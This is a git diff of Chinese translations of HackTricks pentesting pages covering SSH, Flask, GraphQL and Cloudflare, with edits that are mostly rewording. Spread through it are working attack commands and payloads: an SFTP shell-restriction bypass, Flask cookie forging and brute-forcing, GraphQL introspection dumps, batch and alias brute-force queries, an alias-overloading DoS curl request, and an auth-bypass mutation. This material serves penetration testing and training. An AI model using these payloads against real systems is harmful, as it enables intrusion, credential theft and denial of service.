在当前系统上,查找任何 SSH 私钥, -2. 在当前系统上,查找任何可能接受私钥的主机或目标(user@host), -3. 尝试使用所有发现的私钥 SSH 连接到所有目标, -4. 如果成功连接到某个目标,则在连接的系统上重复步骤 #1 - #4。 +2. 在当前系统上,查找任何主机或目的地(user@host),这些私钥可能被接受, +3. 尝试使用所有发现的私钥 SSH 连接到所有目的地, +4. 如果成功连接到某个目的地,则在连接的系统上重复步骤 #1 - #4。 它是完全自我复制和自我传播的——并且完全无文件。 @@ -184,7 +184,22 @@ SSH-Snake 自动且递归地执行以下任务: SSH 服务器默认允许 root 用户登录,这构成了重大安全风险。**禁用根登录** 是保护服务器的关键步骤。通过进行此更改,可以减轻未经授权的管理权限访问和暴力攻击的风险。 -**在 OpenSSH 中禁用根登录 +**在 OpenSSH 中禁用根登录:** + +1. **编辑 SSH 配置文件**:`sudoedit /etc/ssh/sshd_config` +2. **将设置更改** 从 `#PermitRootLogin yes` 为 **`PermitRootLogin no`**。 +3. **使用以下命令重新加载配置**:`sudo systemctl daemon-reload` +4. **重启 SSH 服务器** 以应用更改:`sudo systemctl restart sshd` + +### SFTP 暴力破解 + +- [**SFTP 暴力破解**](../generic-hacking/brute-force.md#sftp) + +### SFTP 命令执行 + +在 SFTP 设置中常常会出现一个常见的疏忽,管理员希望用户在不启用远程 shell 访问的情况下交换文件。尽管将用户设置为非交互式 shell(例如 `/usr/bin/nologin`)并将其限制在特定目录中,但仍然存在安全漏洞。**用户可以通过在登录后立即请求执行命令(如 `/bin/bash`)来规避这些限制**,在其指定的非交互式 shell 接管之前。这允许未经授权的命令执行,破坏了预期的安全措施。 + +[来自这里的示例](https://community.turgensec.com/ssh-hacking-guide/): ```bash ssh -v noraj@192.168.1.94 id ... @@ -207,7 +222,7 @@ debug1: Exit status 0 $ ssh noraj@192.168.1.94 /bin/bash ``` -以下是用户 `noraj` 的安全 SFTP 配置示例(`/etc/ssh/sshd_config` – openSSH): +以下是用户 `noraj` 的安全 SFTP 配置示例 (`/etc/ssh/sshd_config` – openSSH): ``` Match User noraj ChrootDirectory %h @@ -227,7 +242,7 @@ sudo ssh -L :: -N -f @ symlink / froot ### 认证方法 -在高安全性环境中,通常的做法是仅启用基于密钥或双因素认证,而不是简单的基于密码的单因素认证。但通常情况下,较强的认证方法被启用而没有禁用较弱的认证方法。一个常见的情况是在 openSSH 配置中启用 `publickey` 并将其设置为默认方法,但没有禁用 `password`。因此,通过使用 SSH 客户端的详细模式,攻击者可以看到启用了较弱的方法: +在高安全性环境中,通常的做法是仅启用基于密钥或双因素认证,而不是简单的基于密码的单因素认证。但通常情况下,较强的认证方法被启用而没有禁用较弱的认证方法。一个常见的情况是在 openSSH 配置中启用 `publickey` 并将其设置为默认方法,但没有禁用 `password`。因此,通过使用 SSH 客户端的详细模式,攻击者可以看到较弱的方法被启用: ```bash ssh -v 192.168.1.94 OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019 ... debug1: Authentications that can continue: publickey,password,keyboard-interactive ``` -例如,如果设置了身份验证失败限制,并且您从未有机会达到密码方法,您可以使用 `PreferredAuthentications` 选项强制使用此方法。 +例如,如果设置了身份验证失败限制,并且您从未有机会达到密码方法,则可以使用 `PreferredAuthentications` 选项强制使用此方法。 ```bash ssh -v 192.168.1.94 -o PreferredAuthentications=password ... debug1: Next authentication method: password ``` -审查SSH服务器配置是必要的,以检查仅授权预期的方法。使用客户端的详细模式可以帮助查看配置的有效性。 +检查SSH服务器配置是必要的,以确保仅授权预期的方法。使用客户端的详细模式可以帮助查看配置的有效性。 ### 配置文件 ```bash @@ -261,17 +276,17 @@ ssh_known_hosts known_hosts id_rsa ``` -## Fuzzing +## 模糊测试 - [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt) - [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2) -## References +## 参考资料 - 你可以在 [https://www.ssh-audit.com/hardening_guides.html](https://www.ssh-audit.com/hardening_guides.html) 找到关于如何加强 SSH 的有趣指南 - [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide) -## HackTricks Automatic Commands +## HackTricks 自动命令 ``` Protocol_Name: SSH Port_Number: 22 diff --git a/src/network-services-pentesting/pentesting-web/buckets/README.md b/src/network-services-pentesting/pentesting-web/buckets/README.md index 224da4039..a1cfad784 100644 --- a/src/network-services-pentesting/pentesting-web/buckets/README.md +++ b/src/network-services-pentesting/pentesting-web/buckets/README.md @@ -4,6 +4,8 @@ 如果您想了解更多关于枚举和滥用 Buckets 的信息,请查看此页面: -{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum" %} +{{#ref}} +https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum +{{#endref}} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md b/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md index f1b45ab57..74d6aa2eb 100644 --- a/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md +++ b/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md @@ -8,6 +8,8 @@ Firebase 是一种主要用于移动应用的后端即服务(Backend-as-a-Serv 了解更多关于 Firebase 的信息: -{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum" %} +{{#ref}} +https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum +{{#endref}} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md index 57c87cc08..ed3d9560e 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md @@ -15,7 +15,9 @@ cachedArchives[p].destroy() } }) ``` -{% embed url="https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36" %} +{{#ref}} +https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36 +{{#endref}} ![](<../../../images/image (1070).png>) diff --git a/src/network-services-pentesting/pentesting-web/flask.md b/src/network-services-pentesting/pentesting-web/flask.md index e4b85b7a3..e93fd00a9 100644 --- a/src/network-services-pentesting/pentesting-web/flask.md +++ b/src/network-services-pentesting/pentesting-web/flask.md @@ -2,19 +2,19 @@ {{#include ../../banners/hacktricks-training.md}} -**如果你在进行CTF,Flask应用程序可能与** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**相关。** +**如果你在进行CTF,Flask应用程序可能与** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**有关。** ## Cookies -默认的cookie会话名称是**`session`**。 +默认的cookie会话名称是 **`session`**。 ### Decoder -在线Flask cookie解码器:[https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi) +在线Flask cookie解码器: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi) #### Manual -获取cookie的第一部分,直到第一个点,然后进行Base64解码。 +获取cookie的第一部分直到第一个点,并进行Base64解码> ```bash echo "ImhlbGxvIg" | base64 -d ``` @@ -24,7 +24,9 @@ echo "ImhlbGxvIg" | base64 -d 命令行工具,通过猜测秘密密钥来获取、解码、暴力破解和制作 Flask 应用程序的会话 cookie。 -{% embed url="https://pypi.org/project/flask-unsign/" %} +{{#ref}} +https://pypi.org/project/flask-unsign/ +{{#endref}} ```bash pip3 install flask-unsign ``` @@ -46,9 +48,11 @@ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy ``` ### **RIPsession** -命令行工具,用于使用 flask-unsign 制作的 cookie 对网站进行暴力破解。 +命令行工具,用于使用用flask-unsign制作的cookie对网站进行暴力破解。 -{% embed url="https://github.com/Tagvi/ripsession" %} +{{#ref}} +https://github.com/Tagvi/ripsession +{{#endref}} ```bash ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt ``` diff --git a/src/network-services-pentesting/pentesting-web/graphql.md b/src/network-services-pentesting/pentesting-web/graphql.md index 1c51065c6..94cb84190 100644 --- a/src/network-services-pentesting/pentesting-web/graphql.md +++ b/src/network-services-pentesting/pentesting-web/graphql.md @@ -2,14 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} - ## 介绍 -GraphQL 被 **强调** 为 REST API 的 **高效替代方案**,提供了一种简化的方式来从后端查询数据。与 REST 相比,REST 通常需要在不同的端点之间进行多次请求以收集数据,而 GraphQL 允许通过 **单个请求** 获取所有所需的信息。这种简化显著 **有利于开发者**,减少了他们的数据获取过程的复杂性。 +GraphQL 被 **强调** 为 **REST API 的高效替代方案**,提供了一种简化的方式来从后端查询数据。与 REST 相比,REST 通常需要在不同的端点之间进行多次请求以收集数据,而 GraphQL 允许通过 **单个请求** 获取所有所需的信息。这种简化显著 **有利于开发者**,减少了他们的数据获取过程的复杂性。 ## GraphQL 和安全性 -随着新技术的出现,包括 GraphQL,新的安全漏洞也随之出现。一个关键点是 **GraphQL 默认不包含认证机制**。开发者有责任实施这些安全措施。没有适当的认证,GraphQL 端点可能会将敏感信息暴露给未认证的用户,构成重大安全风险。 +随着包括 GraphQL 在内的新技术的出现,新的安全漏洞也随之而来。一个关键点是 **GraphQL 默认不包含身份验证机制**。开发者有责任实施这些安全措施。没有适当的身份验证,GraphQL 端点可能会向未认证的用户暴露敏感信息,构成重大安全风险。 ### 目录暴力攻击和 GraphQL @@ -46,7 +45,7 @@ Graphql 通常支持 **GET**、**POST** (x-www-form-urlencoded) 和 **POST**(jso ```bash query={__schema{types{name,fields{name}}}} ``` -通过此查询,您将找到所有正在使用的类型的名称: +使用此查询,您将找到所有正在使用的类型的名称: ![](<../../images/image (1036).png>) ```bash @@ -181,11 +180,11 @@ name ![](<../../images/Screenshot from 2021-03-13 18-22-57 (1).png>) -您可以看到 "_Flags_" 对象由 **name** 和 **value** 组成。然后,您可以使用以下查询获取所有标志的名称和值: +您可以看到 "_Flags_" 对象由 **name** 和 **value** 组成。然后,您可以使用查询获取所有标志的名称和值: ```javascript query={flags{name, value}} ``` -请注意,如果**查询的对象**是像**字符串**这样的**原始****类型**,如以下示例所示 +请注意,如果**查询的对象**是**原始****类型**,例如**字符串**,如以下示例所示 ![](<../../images/image (958).png>) @@ -194,7 +193,7 @@ query={flags{name, value}} query = { hiddenFlags } ``` 在另一个例子中,"_Query_" 类型对象中有两个对象:"_user_" 和 "_users_"。\ -如果这些对象不需要任何参数进行搜索,可以**直接请求**所需的数据来**检索所有信息**。在这个互联网示例中,你可以提取保存的用户名和密码: +如果这些对象不需要任何参数进行搜索,可以通过**请求**所需的数据来**检索所有信息**。在这个互联网例子中,你可以提取保存的用户名和密码: ![](<../../images/image (880).png>) @@ -205,9 +204,9 @@ query = { hiddenFlags } 看起来它会使用类型为 _**Int**_ 的 "_**uid**_" 参数进行搜索。\ 无论如何,我们已经知道,在 [Basic Enumeration](graphql.md#basic-enumeration) 部分提出了一个查询,显示了所有所需的信息:`query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}` -如果你阅读我运行该查询时提供的图像,你会看到 "_**user**_" 有一个类型为 _Int_ 的 **arg** "_**uid**_"。 +如果你阅读提供的图像,当我运行那个查询时,你会看到 "_**user**_" 有类型为 _Int_ 的 **arg** "_**uid**_"。 -因此,通过一些轻量级的 _**uid**_ 暴力破解,我发现 _**uid**=**1** 时检索到了一个用户名和密码:\ +因此,通过一些轻量级的 _**uid**_ 暴力破解,我发现 _**uid**=**1**_ 时检索到了一个用户名和密码:\ `query={user(uid:1){user,password}}` ![](<../../images/image (90).png>) @@ -220,7 +219,7 @@ query = { hiddenFlags } **查询字符串转储技巧(感谢 @BinaryShadow\_)** -如果你可以通过字符串类型进行搜索,例如:`query={theusers(description: ""){username,password}}`,并且你**搜索一个空字符串**,它将**转储所有数据**。 (_注意这个例子与教程的例子无关,对于这个例子假设你可以通过一个名为 "**description**" 的字符串字段使用 "**theusers**" 进行搜索_). +如果你可以通过字符串类型进行搜索,例如:`query={theusers(description: ""){username,password}}`,并且你**搜索一个空字符串**,它将**转储所有数据**。 (_注意这个例子与教程的例子无关,对于这个例子假设你可以通过一个名为 "**description**" 的字符串字段使用 "**theusers**" 进行搜索_)。 ### 搜索 @@ -234,7 +233,7 @@ email } } ``` -您可以通过**名称**搜索人员并获取他们**订阅**的**电影**: +您可以通过姓名搜索人员并获取他们订阅的电影: ```javascript { searchPerson(name: "John Doe") { @@ -292,7 +291,7 @@ name 在此设置中,**数据库** 包含 **人员** 和 **电影**。**人员** 通过他们的 **电子邮件** 和 **姓名** 进行识别;**电影** 通过它们的 **名称** 和 **评分** 进行识别。**人员** 可以互为朋友,并且也可以拥有电影,表示数据库中的关系。 -一个 **在数据库中创建新** 电影的变更可以如下所示(在此示例中,变更被称为 `addMovie`): +一个 **在数据库中创建新** 电影的变更可以像以下示例(在本例中,变更被称为 `addMovie`): ```javascript mutation { addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) { @@ -335,12 +334,12 @@ releaseYear ``` ### 指令重载 -正如在[**本报告中描述的漏洞之一**](https://www.landh.tech/blog/20240304-google-hack-50000/)中所解释的,指令重载意味着调用指令甚至数百万次,以使服务器浪费操作,直到可能发生DoS攻击。 +正如在[**本报告中描述的漏洞之一**](https://www.landh.tech/blog/20240304-google-hack-50000/)中所解释的,指令重载意味着调用指令即使数百万次,以使服务器浪费操作,直到可能发生DoS攻击。 ### 在1个API请求中批量暴力破解 此信息来自[https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/)。\ -通过GraphQL API进行身份验证,**同时发送多个不同凭据的查询**以进行检查。这是一种经典的暴力破解攻击,但现在由于GraphQL批量处理功能,可以在每个HTTP请求中发送多个登录/密码对。此方法会欺骗外部速率监控应用程序,使其认为一切正常,没有暴力破解机器人试图猜测密码。 +通过GraphQL API进行身份验证,**同时发送多个不同凭据的查询**进行检查。这是一种经典的暴力破解攻击,但现在由于GraphQL批量处理功能,可以在每个HTTP请求中发送多个登录/密码对。此方法会欺骗外部速率监控应用程序,使其认为一切正常,没有暴力破解机器人试图猜测密码。 下面是一个应用程序身份验证请求的最简单演示,**一次有3个不同的电子邮件/密码对**。显然,可以以相同的方式在单个请求中发送数千个: @@ -354,13 +353,13 @@ releaseYear 越来越多的**graphql端点正在禁用自省**。然而,当收到意外请求时,graphql抛出的错误足以让像[**clairvoyance**](https://github.com/nikitastupin/clairvoyance)这样的工具重建大部分架构。 -此外,Burp Suite扩展[**GraphQuail**](https://github.com/forcesunseen/graphquail)扩展**观察通过Burp的GraphQL API请求**,并**构建**一个内部GraphQL **架构**,每当它看到新的查询时。它还可以为GraphiQL和Voyager公开架构。当收到自省查询时,该扩展返回一个假响应。因此,GraphQuail显示了API中可用的所有查询、参数和字段。有关更多信息,[**请查看此处**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema)。 +此外,Burp Suite扩展[**GraphQuail**](https://github.com/forcesunseen/graphquail)扩展**观察通过Burp的GraphQL API请求**并**构建**一个内部GraphQL **架构**,每当它看到新的查询时。它还可以为GraphiQL和Voyager公开架构。当收到自省查询时,该扩展返回一个假响应。因此,GraphQuail显示了API中可用的所有查询、参数和字段。有关更多信息,[**请查看此处**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema)。 一个很好的**词表**可以在这里发现[**GraphQL实体**](https://github.com/Escape-Technologies/graphql-wordlist?)。 ### 绕过GraphQL自省防御 -为了绕过API中对自省查询的限制,在`__schema`关键字后插入**特殊字符**被证明是有效的。这种方法利用了开发人员在试图通过关注`__schema`关键字来阻止自省时常见的正则表达式模式的疏忽。通过添加像**空格、换行符和逗号**这样的字符,GraphQL会忽略这些字符,但正则表达式可能没有考虑到,从而可以绕过限制。例如,在`__schema`后面带有换行符的自省查询可能会绕过这样的防御: +为了绕过API中对自省查询的限制,在`__schema`关键字后插入**特殊字符**被证明是有效的。这种方法利用了开发人员在试图通过关注`__schema`关键字来阻止自省时在正则表达式模式中的常见疏忽。通过添加像**空格、换行符和逗号**这样的字符,GraphQL会忽略这些字符,但正则表达式可能没有考虑到,从而可以绕过限制。例如,在`__schema`后面带有换行符的自省查询可能会绕过这样的防御: ```bash # Example with newline to bypass { @@ -398,7 +397,7 @@ ws.send(JSON.stringify(graphqlMsg)) ``` ### **发现暴露的 GraphQL 结构** -当 introspection 被禁用时,检查网站源代码中 JavaScript 库中预加载的查询是一种有用的策略。这些查询可以通过开发者工具中的 `Sources` 选项卡找到,提供有关 API 架构的见解,并揭示潜在的 **暴露敏感查询**。在开发者工具中搜索的命令是: +当 introspection 被禁用时,检查网站源代码中 JavaScript 库中预加载的查询是一种有用的策略。这些查询可以通过开发者工具中的 `Sources` 选项卡找到,提供有关 API 架构的见解,并揭示潜在的 **暴露的敏感查询**。在开发者工具中搜索的命令是: ```javascript Inspect/Sources/"Search all files" file:* mutation @@ -422,13 +421,13 @@ file:* query ```javascript query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A ``` -因此,由于像之前那样的 CSRF 请求是 **在没有预检请求的情况下** 发送的,因此可以 **利用** CSRF **在 GraphQL 中进行** **更改**。 +因此,由于像之前那样的 CSRF 请求是 **在没有预检请求的情况下** 发送的,因此可以 **利用** **CSRF** 在 GraphQL 中 **进行** **更改**。 但是,请注意,Chrome 的 `samesite` 标志的新默认 cookie 值为 `Lax`。这意味着 cookie 仅会在 GET 请求中从第三方网站发送。 请注意,通常也可以将 **查询** **请求** 作为 **GET** **请求** 发送,并且 CSRF 令牌可能不会在 GET 请求中进行验证。 -此外,利用 [**XS-Search**](../../pentesting-web/xs-search/) **攻击** 可能能够利用用户的凭据从 GraphQL 端点提取内容。 +此外,利用 [**XS-Search**](../../pentesting-web/xs-search/) **攻击** 可能能够利用用户的凭据从 GraphQL 端点中提取内容。 有关更多信息 **请查看** [**原始帖子**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html)。 @@ -448,7 +447,7 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A 修改查询输入变量可能导致敏感账户详细信息 [泄露](https://hackerone.com/reports/792927)。 -突变甚至可能导致账户接管,试图修改其他账户数据。 +变更甚至可能导致账户接管,试图修改其他账户数据。 ```javascript { "operationName":"updateProfile", @@ -460,7 +459,7 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A [将查询链接](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln)在一起可以绕过一个弱认证系统。 -在下面的示例中,您可以看到操作是 "forgotPassword",并且它应该只执行与之相关的 forgotPassword 查询。通过在末尾添加一个查询可以绕过这一点,在这种情况下,我们添加 "register" 和一个用户变量,以便系统注册为新用户。 +在下面的示例中,您可以看到操作是 "forgotPassword",并且它应该只执行与之关联的 forgotPassword 查询。通过在末尾添加一个查询可以绕过这一点,在这种情况下,我们添加 "register" 和一个用户变量,以便系统注册为新用户。
@@ -470,7 +469,7 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A 要详细了解 GraphQL 别名,推荐以下资源:[Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases)。 -虽然别名的主要目的是减少多个 API 调用的必要性,但已识别出一个意外的用例,其中别名可以被利用来对 GraphQL 端点执行暴力攻击。这是可能的,因为某些端点受到速率限制器的保护,旨在通过限制**HTTP 请求的数量**来阻止暴力攻击。然而,这些速率限制器可能没有考虑到每个请求中的操作数量。鉴于别名允许在单个 HTTP 请求中包含多个查询,它们可以绕过此类速率限制措施。 +虽然别名的主要目的是减少大量 API 调用的必要性,但已识别出一个意外的用例,其中别名可以被用来对 GraphQL 端点执行暴力攻击。这是可能的,因为某些端点受到速率限制器的保护,旨在通过限制**HTTP 请求的数量**来阻止暴力攻击。然而,这些速率限制器可能没有考虑到每个请求中的操作数量。鉴于别名允许在单个 HTTP 请求中包含多个查询,它们可以绕过此类速率限制措施。 考虑下面提供的示例,它说明了如何使用别名查询来验证商店折扣代码的有效性。这种方法可以绕过速率限制,因为它将多个查询编译成一个 HTTP 请求,可能允许同时验证多个折扣代码。 ```bash @@ -491,14 +490,14 @@ valid ### Alias Overloading -**Alias Overloading** 是一种 GraphQL 漏洞,攻击者通过为同一字段重载查询中的多个别名,导致后端解析器重复执行该字段。这可能会使服务器资源过载,从而导致 **Denial of Service (DoS)**。例如,在下面的查询中,同一字段 (`expensiveField`) 被请求了 1,000 次,使用别名强迫后端计算 1,000 次,可能会耗尽 CPU 或内存: +**Alias Overloading** 是一种 GraphQL 漏洞,攻击者通过为同一字段重载查询,使用多个别名,导致后端解析器重复执行该字段。这可能会使服务器资源过载,从而导致 **Denial of Service (DoS)**。例如,在下面的查询中,同一字段(`expensiveField`)使用别名请求了 1,000 次,迫使后端计算 1,000 次,可能会耗尽 CPU 或内存: ```graphql # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "Content-Type: application/json" \ -d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \ 'https://example.com/graphql' ``` -为了减轻这个问题,实施别名计数限制、查询复杂性分析或速率限制,以防止资源滥用。 +为了减轻这个问题,实施别名计数限制、查询复杂性分析或速率限制以防止资源滥用。 ### **基于数组的查询批处理** @@ -559,7 +558,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso - [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): 也可以作为CLI客户端使用以自动化攻击 - [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): 列出在GraphQL模式中**到达特定类型的不同方式**的工具。 - [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): InQL的独立和CLI模式的继任者 -- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): 用于高级GraphQL测试的Burp扩展。_**扫描器**_是InQL v5.0的核心,您可以分析GraphQL端点或本地自省模式文件。它自动生成所有可能的查询和变更,并将其组织成结构化视图以供分析。_**攻击者**_组件允许您运行批量GraphQL攻击,这对于规避实现不佳的速率限制非常有用。 +- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): 用于高级GraphQL测试的Burp扩展。_**扫描器**_是InQL v5.0的核心,您可以分析GraphQL端点或本地自省模式文件。它自动生成所有可能的查询和变更,并将其组织成结构化视图以供分析。_**攻击者**_组件允许您运行批量GraphQL攻击,这对于规避实现不良的速率限制非常有用。 - [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): 尝试通过使用一些Graphql数据库的帮助,即使在禁用自省的情况下也获取模式,这些数据库将建议变更和参数的名称。 ### 客户端 @@ -569,7 +568,9 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso ### 自动测试 -{% embed url="https://graphql-dashboard.herokuapp.com/" %} +{{#ref}} +https://graphql-dashboard.herokuapp.com/ +{{#endref}} - 解释AutoGraphQL的视频: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU) @@ -583,5 +584,4 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso - [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696) - [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql) - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md b/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md index 53ed1f817..2f76225a1 100644 --- a/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md +++ b/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md @@ -4,24 +4,24 @@ ## Common Techniques to Uncover Cloudflare -- 你可以使用一些服务来获取域名的 **历史 DNS 记录**。也许网页运行在之前使用的 IP 地址上。 +- 你可以使用一些服务来获取域名的 **历史 DNS 记录**。也许网页运行在之前使用过的 IP 地址上。 - 同样可以通过 **检查历史 SSL 证书** 来实现,这些证书可能指向原始 IP 地址。 -- 还要检查 **指向 IP 的其他子域的 DNS 记录**,因为其他子域可能指向同一服务器(可能提供 FTP、邮件或其他服务)。 +- 还要检查 **其他子域名的 DNS 记录,直接指向 IP**,因为其他子域名可能指向同一服务器(可能提供 FTP、邮件或其他服务)。 - 如果你在 **网络应用程序中发现 SSRF**,你可以利用它来获取服务器的 IP 地址。 - 在浏览器中搜索网页的唯一字符串,例如 shodan(也许还有 google 和类似的?)。也许你可以找到带有该内容的 IP 地址。 -- 以类似的方式,除了寻找唯一字符串外,你还可以使用工具搜索 favicon 图标:[https://github.com/karma9874/CloudFlare-IP](https://github.com/karma9874/CloudFlare-IP) 或 [https://github.com/pielco11/fav-up](https://github.com/pielco11/fav-up) +- 以类似的方式,除了寻找唯一字符串外,你还可以使用工具搜索 favicon 图标:[https://github.com/karma9874/CloudFlare-IP](https://github.com/karma9874/CloudFlare-IP) 或 [https://github.com/pielco11/fav-up](https://github.com/pielco11/fav-up)。 - 这并不总是有效,因为服务器必须在通过 IP 地址访问时发送相同的响应,但你永远不知道。 ## Tools to uncover Cloudflare -- 在 [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) 或 [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com) 中搜索域名。或者使用工具 [CloudPeler](https://github.com/zidansec/CloudPeler)(它使用该 API) -- 在 [https://leaked.site/index.php?resolver/cloudflare.0/](https://leaked.site/index.php?resolver/cloudflare.0/) 中搜索域名 +- 在 [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) 或 [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com) 中搜索域名。或者使用工具 [CloudPeler](https://github.com/zidansec/CloudPeler)(它使用该 API)。 +- 在 [https://leaked.site/index.php?resolver/cloudflare.0/](https://leaked.site/index.php?resolver/cloudflare.0/) 中搜索域名。 - [**CloudFlair**](https://github.com/christophetd/CloudFlair) 是一个工具,它将使用包含域名的 Censys 证书进行搜索,然后在这些证书中搜索 IPv4,最后尝试访问这些 IP 的网页。 -- [**CloakQuest3r**](https://github.com/spyboy-productions/CloakQuest3r):CloakQuest3r 是一个强大的 Python 工具,精心制作以揭示被 Cloudflare 和其他替代方案保护的网站的真实 IP 地址,这是一个广泛采用的网络安全和性能增强服务。其核心使命是准确识别隐藏在 Cloudflare 保护屏障后面的 Web 服务器的实际 IP 地址。 +- [**CloakQuest3r**](https://github.com/spyboy-productions/CloakQuest3r):CloakQuest3r 是一个强大的 Python 工具,精心制作以揭示被 Cloudflare 和其他替代方案保护的网站的真实 IP 地址,这是一个广泛采用的网络安全和性能增强服务。其核心任务是准确识别隐藏在 Cloudflare 保护屏障后面的 Web 服务器的实际 IP 地址。 - [Censys](https://search.censys.io/) - [Shodan](https://shodan.io/) - [Bypass-firewalls-by-DNS-history](https://github.com/vincentcox/bypass-firewalls-by-DNS-history) -- 如果你有一组潜在的网页所在的 IP,你可以使用 [https://github.com/hakluke/hakoriginfinder](https://github.com/hakluke/hakoriginfinder) +- 